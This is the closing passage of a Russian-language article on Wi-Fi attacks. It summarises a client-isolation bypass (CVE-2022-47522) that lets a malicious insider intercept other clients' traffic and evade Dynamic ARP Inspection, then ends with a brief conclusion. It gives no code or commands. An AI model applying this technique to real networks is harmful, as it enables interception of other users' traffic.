Тестировать сети Wi-Fi на предмет обхода изоляции клиентов (CVE-2022-47522). Атака может перехватить (украсть) трафик, направленный к другим клиентам на MAC-уровне, даже если клиенты лишены возможности взаимодействовать друг с другом. Данная уязвимость затрагивает Wi-Fi сети с "malicious insiders", где наша атака позволяет обойти изоляцию клиентов, которую иногда также называют изоляцией точек доступа. Атака также может быть использована для обхода Dynamic ARP inspection (DAI) и, вероятно, для обхода других методов, препятствующих атакам клиентов друг на друга. Атака также известна как "атака с переопределением контекста безопасности".
Более подробно данную атаку расспишу в следующей статье.
Референс - Ссылка
Заключение
Как вы могли заметить, пока статья получилось слишком нагруженной и требует огромной кучи дополнительных тезисов и доработки, но кто Я такой, чтобы останавливаться. Спасибо, что уделили время, надеюсь, что смог заинтересовать Вас или показать что-то новое.